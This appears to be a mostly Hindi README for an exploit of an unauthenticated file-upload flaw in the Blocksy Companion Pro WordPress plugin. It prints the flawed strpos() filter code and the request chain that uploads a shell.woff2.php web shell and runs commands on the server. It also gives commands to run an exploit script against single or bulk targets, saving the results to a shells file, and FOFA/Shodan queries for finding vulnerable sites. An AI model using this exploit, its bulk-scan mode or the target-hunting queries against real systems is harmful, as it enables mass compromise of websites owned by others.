
CVE-2026-58480 / CVE-2026-15158 — Unauthenticated RCE in Blocksy Companion Pro < 2.1.47 (300K+ installs). Pre-auth arbitrary file upload via double-extension bypass.
CVE-2026-58480 (जिसे CVE-2026-15158 के रूप में भी ट्रैक किया जाता है) Blocksy Companion Pro < 2.1.47 में एक गंभीर (CVSS 9.8) बिना प्रमाणीकरण के मनमानी फ़ाइल अपलोड कमजोरी है — यह Blocksy WordPress थीम (300,000+ सक्रिय इंस्टॉल) का प्रीमियम ऐड-ऑन है।
Advanced Reviews सुविधा (WooCommerce Extra का हिस्सा) में save_attachments AJAX हैंडलर बिना प्रमाणीकरण के फ़ाइल अपलोड स्वीकार करता है। Custom Fonts एक्सटेंशन .woff2 / .ttf के लिए strpos() सबस्ट्रिंग जाँच के माध्यम से अपलोड को मान्य करता है — वास्तविक फ़ाइल एक्सटेंशन की जाँच नहीं करता। हमलावर shell.woff2.php जैसे डबल-एक्सटेंशन फ़ाइलनामों से इस बायपास करते हैं: .woff2 सबस्ट्रिंग जाँच से मेल खाता है, .php सर्वर पर निष्पादित होता है।
| संस्करण | स्थिति |
|---|---|
| < 2.1.47 | असुरक्षित |
| 2.1.47+ | पैच किया गया |
आवश्यकताएँ: WooCommerce Extra (Advanced Reviews) और Custom Fonts एक्सटेंशन सक्रिय होने के साथ प्रीमियम लाइसेंस। मुफ्त
blocksy-companionप्लगइन में ये कमजोर कोड पथ शामिल नहीं हैं।
Custom Fonts एक्सटेंशन एक wp_check_filetype_and_ext फ़िल्टर पंजीकृत करता है जो strpos() — एक सबस्ट्रिंग मिलान — का उपयोग करके फ़ाइलनामों को मान्य करता है, न कि PATHINFO_EXTENSION के माध्यम से वास्तविक फ़ाइल एक्सटेंशन की जाँच करता है:
// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
if (strpos($filename, '.woff2') !== false ||
strpos($filename, '.ttf') !== false) {
$data['ext'] = 'woff2';
$data['type'] = 'font/woff2';
}
return $data;
}, 10, 5);
Advanced Reviews में save_attachments फ़ंक्शन मानक WordPress अपलोड हैंडलिंग को कॉल करता है, जो इस फ़िल्टर को सक्रिय करता है। shell.woff2.php नामक फ़ाइल पास हो जाती है क्योंकि .woff2 एक सबस्ट्रिंग के रूप में मौजूद है — फ़िल्टर यह सत्यापित नहीं करता कि यह अंतिम एक्सटेंशन है या नहीं।
POST /wp-admin/admin-ajax.php
action=blc_save_review_attachments
blc-review-images[] = shell.woff2.php (multipart, PHP पेलोड)
→ wp_check_filetype_and_ext फ़िल्टर: ".woff2" मिला → स्वीकृत
→ फ़ाइल wp-content/uploads/YYYY/MM/shell.woff2.php में सहेजी गई
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ www-data के रूप में RCE
| फ़ाइल (Trac) | पंक्ति | उद्देश्य |
|---|---|---|
framework/premium/extensions/custom-fonts/extension.php | 137 | strpos() सत्यापन फ़िल्टर |
framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php | 811 |
git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests
# लक्ष्य की पहचान
python exploit.py -u https://target.com --check
# पूर्ण शोषण
python exploit.py -u https://target.com
# बल्क स्कैन
python exploit.py -f targets.txt -o shells.txt
FOFA: body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"
blc-review-images[]wp_check_filetype_and_ext फ़िल्टरयह शोषण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए प्रदान किया गया है। मालिक की स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इसका उपयोग न करें।
save_attachments हैंडलर |